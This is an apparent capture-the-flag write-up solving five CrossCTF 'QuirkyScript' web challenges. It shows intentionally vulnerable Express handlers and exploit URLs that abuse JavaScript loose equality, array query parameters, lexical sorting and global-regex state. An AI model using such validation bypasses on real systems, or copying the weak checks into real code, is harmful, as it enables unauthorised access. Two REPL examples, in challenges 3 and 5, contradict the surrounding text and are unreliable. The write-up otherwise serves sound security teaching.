Table of Contents

I did not participate in this competition, but I was asked by the organisers to take a look at the challenges.
Here are my analysis and solutions for 5 web challenges which I thought were rather interesting.
Enjoy! :smile:

QuirkyScript 1

Problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()

app.get('/flag', function (req, res) {
    if (req.query.first) {
        if (req.query.first.length == 8 && req.query.first == ",,,,,,,") {
            res.send(flag.flag);
            return;
        }
    }
    res.send("Try to solve this.");
});

app.listen(31337)

Analysis

Observe that in the source code provided, loose equality comparison (==) is used instead of strict equality comparison (===).
Loose equality compares two values for equality after converting both operands to a common type. When in doubt, refer to the documentation on equality comparisons and sameness!

Let’s look at the comparison req.query.first == ",,,,,,,":

  • If req.query.first is a String – no type conversion is performed as both operands are of a common type.
  • If req.query.first is an Object – type conversion is performed on req.query.first to String by invoking req.query.first.toString() before comparing both operands.

In Express, req.query is an object containing the parsed query string parameters – so req.query.first can either be a string (?first=) or an array (?first[]=).

In JavaScript, an arrray is a list-like Object. Furthermore, Array.toString() returns a string representation of the array values, concatenating each array element separated by commas, as shown below:

> ['a'].toString()
a

> ['a','b'].toString()
a,b

Solution

As such, we can set req.query.first as an array with length 8 containing only empty strings to make the string representation return ,,,,,,, to satisfy both conditions:

> console.log(['','','','','','','',''].toString())
,,,,,,,

This can be achieved by supplying eight first[] query string parameters:

http://ctf.pwn.sg:8081/flag?first[]&first[]&first[]&first[]&first[]&first[]&first[]&first[]

Flag: CrossCTF{C0mm4s_4ll_th3_w4y_t0_th3_fl4g}


QuirkyScript 2

Problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()

app.get('/flag', function (req, res) {
  if (req.query.second) {
    if (req.query.second != "1" && req.query.second.length == 10 && req.query.second == true) {
      res.send(flag.flag);
      return;
    }
  }
  res.send("Try to solve this.");
});

app.listen(31337)

Analysis

Similar to QuirkyScript 1, req.query.second can either be a string or an array. Observe that loose equality comparison is done in req.query.second == true, so if req.query.second is a string, both operands are converted to numbers before comparing both values.

Note: The behavior of the type conversion to number is equivalent to the unary + operator (e.g. +"1"):

> true == +true == 1
true

> "1" == +"1" == 1 == true
true

One thing to note about such type conversions is that the parsing of value is performed quite leniently to avoid returning errors for minor issues detected:

> +"   1   "
1

> +"  00001" 
1

Solution

Since req.query.second != "1" performs string comparison without type conversions, we can obtain the flag by supplying a truthy value with 10 characters in second query string parameter:

http://ctf.pwn.sg:8082/flag?second=0000000001

Flag: CrossCTF{M4ny_w4ys_t0_mak3_4_numb3r}


QuirkyScript 3

Problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var flag = require("./flag.js");
var express = require('express')
var app = express()

app.get('/flag', function (req, res) {
  if (req.query.third) {
    if (Array.isArray(req.query.third)) {
      third = req.query.third;
      third_sorted = req.query.third.sort();
      if (Number.parseInt(third[0]) > Number.parseInt(third[1]) && third_sorted[0] == third[0] && third_sorted[1] == third[1]) {
        res.send(flag.flag);
        return;
      }
    }
  }
  res.send("Try to solve this.");
});

app.listen(31337)

Analysis

Observe that req.query.third.sort() is invoked above, so req.query.third has to be an array since string does not have a sort() prototype method.

The following conditions need to be satisfied to obtain the flag:

  • Number.parseInt(third[0]) > Number.parseInt(third[1]) – first element must be larger than the second element after converting both elements to numbers
  • third_sorted[0] == third[0] and third_sorted[1] == third[1] – the elements in third must retain the same order even after being sorted

As pointed out in the documentation, if no custom comparition function is supplied to Array.prototype.sort(), all non-undefined array elements are sorted by (1) converting them to strings and (2) comparing string comparisons in UTF-16 code point order.

Such lexical sorting differs from numeric sorting. For example, 10 comes before “2” when sorting based on their UTF-16 code point:

> third = ["10", "1a"]
["10", "2"]

> third_sorted = third.sort()
["10", "2"]

> Number.parseInt(third[0])
10

> Number.parseInt(third[1])
1

> Number.parseInt(third[0]) > Number.parseInt(third[1])
true

> third_sorted[0] == third[0] && third_sorted[1] == third[1]
true

Solution

To obtain the flag, we can set third query string parameter as an array with 10 as first element and 2 as second element:

http://ctf.pwn.sg:8083/flag?third[0]=10&third[]=2

Flag: CrossCTF{th4t_r0ck3t_1s_hug3}


QuirkyScript 4

Problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()

app.get('/flag', function (req, res) {
  if (req.query.fourth) {
    if (req.query.fourth == 1 && req.query.fourth.indexOf("1") == -1) {
      res.send(flag.flag);
      return;
    }
  }
  res.send("Try to solve this.");
});

app.listen(31337)

Analysis

If req.query.fourth is a string containing a truthy value, it is not possible to satisfy the req.query.fourth.indexOf("1") == -1 condition.

Let’s look at what we can do if req.query.fourth is an array instead. Type conversion happens on req.query.fourth in req.query.fourth == 1 before comparing the operands:

> +([""].toString())
0

> ["1"] == +(["1"].toString()) == 1
true

Since Array.prototype.indexOf(element) returns the index of the first matching element in the array, or -1 if it does not exist, we can satisfy req.query.fourth.indexOf("1") == -1 if the string "1" is not in the array.

Solution 1

One possible solution is to leverage the relaxed parsing of integer values from strings as discussed in QuirkyScript 2:

> ["01"] == +(["01"].toString()) == 1
true

> ["01"].indexOf("1") == -1
true

Visiting http://ctf.pwn.sg:8084/flag?fourth[]=01 gives the flag.

Solution 2

Another possible solution is to use a nested array:

> [["1"]] == [["1"].toString()].toString() == 1
true

> [["1"]].indexOf("1") == -1
true

Visiting http://ctf.pwn.sg:8084/flag?fourth[][]=1gives the flag.

Flag: CrossCTF{1m_g0ing_hungry}


QuirkyScript 5

Problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()

app.get('/flag', function (req, res) {
  var re = new RegExp('^I_AM_ELEET_HAX0R$', 'g');
  if (re.test(req.query.fifth)) {
    if (req.query.fifth === req.query.six && !re.test(req.query.six)) {
      res.send(flag.flag);
    }
  }
  res.send("Try to solve this.");
});

app.listen(31337)

Analysis

Referring to the documentation for RegExp.prototype.test(), an interesting behaviour of regular expressions with g (global) flag set is noted:

  1. test() will advance the lastIndex of the regex.
  2. Further calls to test(str) will resume searching str starting from lastIndex.
  3. The lastIndex property will continue to increase each time test() returns true.

Note: As long as test() returns true, lastIndex will not reset—even when testing a different string!

Solution

After the call to re.test(req.query.fifth), re.lastIndex is no longer 0 if req.query.fifth is set to I_AM_ELEET_HAX0R. By setting req.query.six to I_AM_ELEET_HAX0R, we can make re.test(req.query.six) return false:

> re = new RegExp('^I_AM_ELEET_HAX0R$', 'g')
/^I_AM_ELEET_HAX0R$/g

> re.lastIndex
0

> re.test("I_AM_ELEET_HAX0R")
true

> re.lastIndex
16

> "I_AM_ELEET_HAX0R" === "I_AM_ELEET_HAX0R"
true

> !re.test("I_AM_ELEET_HAX0R")
false

> re.lastIndex
0

As such, visiting the URL below gives the flag:

http://ctf.pwn.sg:8085/flag?fifth=I_AM_ELEET_HAX0R&six=I_AM_ELEET_HAX0R

Flag: CrossCTF{1_am_n1k0las_ray_zhizihizhao}